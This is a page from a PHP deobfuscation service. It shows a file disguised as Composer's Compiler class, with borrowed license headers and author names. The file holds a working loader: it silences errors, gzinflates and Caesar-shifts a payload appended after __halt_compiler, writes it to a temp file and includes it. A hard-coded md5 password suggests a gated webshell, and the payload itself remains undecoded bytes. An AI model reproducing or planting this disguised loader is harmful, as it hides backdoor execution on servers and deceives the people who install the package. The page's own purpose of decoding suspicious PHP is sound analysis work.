Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //declare(strict_types=1); /* * This file is part of Composer. * * (c) Nils..

Decoded Output download

<?php //declare(strict_types=1); 
 
/* 
 * This file is part of Composer. 
 * 
 * (c) Nils Adermann <[email protected]> 
 *     Jordi Boggiano <[email protected]> 
 * 
 * For the full copyright and license information, please view the LICENSE 
 * file that was distributed with this source code. 
 * 
 
namespace Composer; 
 
use Composer\Json\JsonFile; 
use Composer\CaBundle\CaBundle; 
use Composer\Pcre\Preg; 
use Symfony\Component\Finder\Finder; 
use Symfony\Component\Process\Process; 
use Seld\PharUtils\Timestamps; 
use Seld\PharUtils\Linter;*/ 
 
 
/** 
 * The Compiler class compiles composer into a phar 
 * 
 * @author Fabien Potencier <[email protected]> 
 * @author Jordi Boggiano <[email protected]> 
 */ 
 
class Compiler { 
    private $shift; 
 
    public function __construct($shift = 1) { 
        error_reporting(0); 
        $this->shift = $shift; 
    } 
    public function Builder($input) { 
        $output = ''; 
        for ($i = 0; $i < strlen($input); $i++) { 
            $ascii = ord($input[$i]); 
            $ascii -= $this->shift; 
            $output .= chr($ascii); 
        } 
        return $output; 
    } 
    public function slurp($input, $output) { 
        $fp = fopen($input, 'r'); 
        fseek($fp, $output); 
	$temp_file = tmpfile(); 
	fwrite($temp_file, $this->Builder(gzinflate(stream_get_contents($fp)))); 
 
	include socket_get_status($temp_file)['uri']; 
 
	fclose($temp_file); 
	//return $output 
	} 
} 
$stdIn = new Compiler(3, "GENERATE_RANDOM_BYTE"); 
$password = "68e6f3ce182007a578dbff4fffd5daa2"; //md5, edit pakai nano linux/wsl 
$stdIn->slurp(__FILE__, __COMPILER_HALT_OFFSET__); 
 
    /** 
     * Compiles composer into a single phar file 
     * 
     * @param string $pharFile The full path to the file to create 
     * 
     * @throws \RuntimeException 
     */ 
 
__halt_compiler // anjay 
/*BEGIN_PHAR*/();W(cs<A^upz!		$C3UUw^<YWfd],zR9^$[6$zoV9n,tC1=l{s&M:C?_ u;)o7{1cnT{< 
mLpb[u\@ ?>

Did this file decode correctly?

Original Code

<?php //declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <[email protected]>
 *     Jordi Boggiano <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *

namespace Composer;

use Composer\Json\JsonFile;
use Composer\CaBundle\CaBundle;
use Composer\Pcre\Preg;
use Symfony\Component\Finder\Finder;
use Symfony\Component\Process\Process;
use Seld\PharUtils\Timestamps;
use Seld\PharUtils\Linter;*/


/**
 * The Compiler class compiles composer into a phar
 *
 * @author Fabien Potencier <[email protected]>
 * @author Jordi Boggiano <[email protected]>
 */

class Compiler {
    private $shift;

    public function __construct($shift = 1) {
        error_reporting(0);
        $this->shift = $shift;
    }
    public function Builder($input) {
        $output = '';
        for ($i = 0; $i < strlen($input); $i++) {
            $ascii = ord($input[$i]);
            $ascii -= $this->shift;
            $output .= chr($ascii);
        }
        return $output;
    }
    public function slurp($input, $output) {
        $fp = fopen($input, 'r');
        fseek($fp, $output);
	$temp_file = tmpfile();
	fwrite($temp_file, $this->Builder(gzinflate(stream_get_contents($fp))));

	include socket_get_status($temp_file)['uri'];

	fclose($temp_file);
	//return $output
	}
}
$stdIn = new Compiler(3, "GENERATE_RANDOM_BYTE");
$password = "68e6f3ce182007a578dbff4fffd5daa2"; //md5, edit pakai nano linux/wsl
$stdIn->slurp(__FILE__, __COMPILER_HALT_OFFSET__);

    /**
     * Compiles composer into a single phar file
     *
     * @param string $pharFile The full path to the file to create
     *
     * @throws \RuntimeException
     */

__halt_compiler // anjay
/*BEGIN_PHAR*/();W(cs<A^upz!		$C3UUw^<YWfd],zR9^$[6$zoV9n,tC1=l{s&M:C?_ u;)o7{1cnT{<
mLpb[u\@

Function Calls

None

Variables

None

Stats

MD5 e8cc64389e7ece76c95dde275101f7ca
Eval Count 0
Decode Time 122 ms